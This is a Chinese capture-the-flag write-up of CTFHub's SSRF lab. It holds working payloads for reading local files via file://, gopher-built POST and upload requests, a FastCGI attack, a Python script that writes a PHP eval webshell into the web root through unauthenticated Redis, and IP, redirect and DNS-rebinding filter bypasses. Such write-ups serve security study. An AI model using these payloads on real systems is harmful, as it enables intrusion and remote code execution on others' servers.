CTFHub SSRF

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFHub SSRF相关的知识,希望对你有一定的参考价值。

SSRF简介

  • SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统,也就是说可以利用一个网络请求的服务,当作跳板进行攻击
  • 攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息,此时A被作为中间人(跳板)进行利用
  • SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制;例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片、下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器

漏洞攻击方式

  • 对外网,服务器所在内网,本地进行端口扫描(挨个试探),获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
  • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
  • 下载内网资源,利用file协议读取本地文件或资源等
  • 内部任意主机的任意端口发送精心构造的Payload
  • DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  • 进行跳板
  • 利用Redis未授权访问,HTTP CRLF注入实现getshell

CTFHub SSRF靶场

第一部分(http、dict和file等协议的利用)

内网访问

题目描述:尝试访问位于127.0.0.1的flag.php

Payload

http://challenge-eb4649dbccfa6c7d.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

伪协议读取文件

题目描述:尝试去读取一下Web目录下的flag.php吧

在ssrf中常用的伪协议就是file:///协议,其在ssrf中可以用来读取php源码

Payload

http://challenge-36595a4428f0685b.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

执行后在源代码中查看flag

端口扫描

题目描述:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

题给是内网端口扫描,利用ssrf漏洞探测目标主机上还开放了哪些端口,在ssrf中dict协议http协议可用来探测内网的主机存活与端口开放情况

用burpsuite抓包来爆破内网的主机存活与端口开放情况,发现8845端口上存在Apache的web服务

Payload

http://challenge-86b3590a2c824149.sandbox.ctfhub.com:10800/?url=http://127.0.0.1:8845

第二部分(Gopher协议的利用)

Gopher协议HTTP协议出现之前,在Internet上常见且常用的一个协议,不过现在Gopher协议用得已经越来越少了Gopher协议可以说是ssrf中的万金油,利用此协议可以攻击内网的 Redis、mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求,极大拓宽了ssrf的攻击面

POST请求

题目描述:这次是发一个HTTP POST请求,对了,ssrf是用php的curl实现的,并且会跟踪302跳转,加油吧骚年

用dirsearch扫描一下:http://challenge-aa5afefd4daec439.sandbox.ctfhub.com:10800/


读index.php的源码

http://challenge-aa5afefd4daec439.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

读flag.php的源码

http://challenge-aa5afefd4daec439.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

用Gopher协议构造post请求

import urllib.parse
payload =\\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c384d200658f258e5b5c681bf0aa29a8
"""  

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

Payload

http://challenge-aa5afefd4daec439.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc384d200658f258e5b5c681bf0aa29a8%250D%250A

上传文件

题目描述:这次需要上传一个文件到flag.php了,祝你好运

和上一题一样扫描一下web目录,读flag.php的源码

http://challenge-0b92a02269b5fb44.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

可以发现flag.php确实是个文件上传的页面,且仅要求上传的文件大小大于0即可得到flag,并没有任何过滤,尝试利用gopher协议上传文件

随便上传一个非空的文件,然后抓包,利用脚本构造Payload


import urllib.parse
payload =\\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 281
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-0b92a02269b5fb44.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP1tAFG8gw3Q8NTg6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-0b92a02269b5fb44.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryP1tAFG8gw3Q8NTg6
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

111
------WebKitFormBoundaryP1tAFG8gw3Q8NTg6
Content-Disposition: form-data; name="submit"

鎻愪氦
------WebKitFormBoundaryP1tAFG8gw3Q8NTg6--
"""  

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

Payload

http://challenge-0b92a02269b5fb44.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520281%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-0b92a02269b5fb44.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryP1tAFG8gw3Q8NTg6%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/92.0.4515.131%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-0b92a02269b5fb44.sandbox.ctfhub.com%253A10800/%253Furl%253Dfile%253A///var/www/html/flag.php%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520en-CN%252Cen%253Bq%253D0.9%252Czh-CN%253Bq%253D0.8%252Czh%253Bq%253D0.7%252Cen-US%253Bq%253D0.6%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryP1tAFG8gw3Q8NTg6%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A111%250D%250A------WebKitFormBoundaryP1tAFG8gw3Q8NTg6%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%250D%250A------WebKitFormBoundaryP1tAFG8gw3Q8NTg6--%250D%250A

FastCGI协议

题目描述:这次,我们需要攻击一下fastcgi协议咯,也许附件的文章会对你有点帮助

FastCGI:

  • 快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议,FastCGI是早期通用网关接口(CGI)的增强版本,FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求

php-fpm

  • 官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的,也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口

php-fpm攻击实现原理

  • 想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME’: '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行
  • 而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度,但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置
  • 那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On时,就会在执行php脚本之前包含环境变量auto_prepend_file所指向的文件内容,php://input也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击,详情请看:https://bbs.ichunqiu.com/thread-58455-1-1.html

使用Gopherus工具生成攻击FastCGI的payload

利用条件:

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

然后进行二次编码后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码)

用蚁剑连接webshell


Redis协议

题目描述:这次来攻击redis协议吧,redis://127.0.0.1:6379,,资料?没有资料!自己找!

利用SSRF对目标主机上的Redis进行未授权访问攻击,探测一下目标主机开启的端口,在6379端口发现Redis的报错

利用未授权访问攻击Redis的方法有很多,可以写webshell、反弹shell,也可以写ssh公钥,这里采用写webshell的方法
构造redis命令

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
import urllib.parse
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\\n\\n<?php eval($_POST[\\"whoami\\"]);?>\\n\\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\\r\\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(urllib.parse.quote(payload))    # 由于我们这里是GET,所以要进行两次url编码

Payload

http://challenge-4729e7001fe71c25.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

第三部分(Bypass)

URL Bypass

题目描述:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

题目说url必须以 http://notfound.ctfhub.com 开头,我们可以利用@来绕过,如 http://whoami@127.0.0.1实际上是以用户名 whoami 连接到站点127.0.0.1,即 http://notfound.ctfhub.com@127.0.0.1http://127.0.0.1请求是相同的,该请求得到的内容都是127.0.0.1的内容

Payload

http://challenge-c47ec8d53b1d2c1b.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

题目描述:这次ban掉了127以及172,不能使用点分十进制的IP了,但是又要访问127.0.0.1,该怎么办呢

  • 方法一:可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个php脚本可以一键转换
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
十进制:2130706433    八进制:0177.0.0.1    十六进制:0x7f.0.0.1

  • 方法二:利用其他各种指向127.0.0.1的地址
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

302跳转 Bypass

题目描述:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

方法一:在网络上存在一个很神奇的服务,网址为http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,例如访问 http://127.0.0.1.xip.io/flag.php,实际上访问的就是http://127.0.0.1/flag.php

http://0.xip.io/flag.php
http://localhost.xip.io/flag.php
http://①②⑦.⓪.⓪.①.xip.io/flag.php

方法二:利用短地址跳转绕过,https://4m.cn/
直接使用生成的短连接https://4m.cn/FjOdQ就会自动302跳转到http://127.0.0.1/flag.php上,这样就可以绕过WAF了

DNS重绑定 Bypass

题目描述:关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤

  • 对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉
  • 但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击,我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可
  • 要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
    1、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
    2、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
    3、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址
    4、由于已经绕过验证,所以服务器端返回访问内网资源的结果
    参考:https://www.freebuf.com/articles/web/135342.html
  • 但是它只能在2个IP之间随机变化,因此往往需要发送多个请求才能得到结果

Payload

http://challenge-f273b5d6478c655e.sandbox.ctfhub.com:10800/?url=7f000001.2f653948.rbndr.us/flag.php

以上是关于CTFHub SSRF的主要内容,如果未能解决你的问题,请参考以下文章

CTFHub-技能树-命令执行

ctfhub技能树—web前置技能—http协议—响应包源代码

CTFHub-Web-Web前置技能-HTTP协议-响应包源代码详解

JAVA代码审计之SSRF

Java代码审计之路二(SSRF漏洞审计)

Java代码审计之路二(SSRF漏洞审计)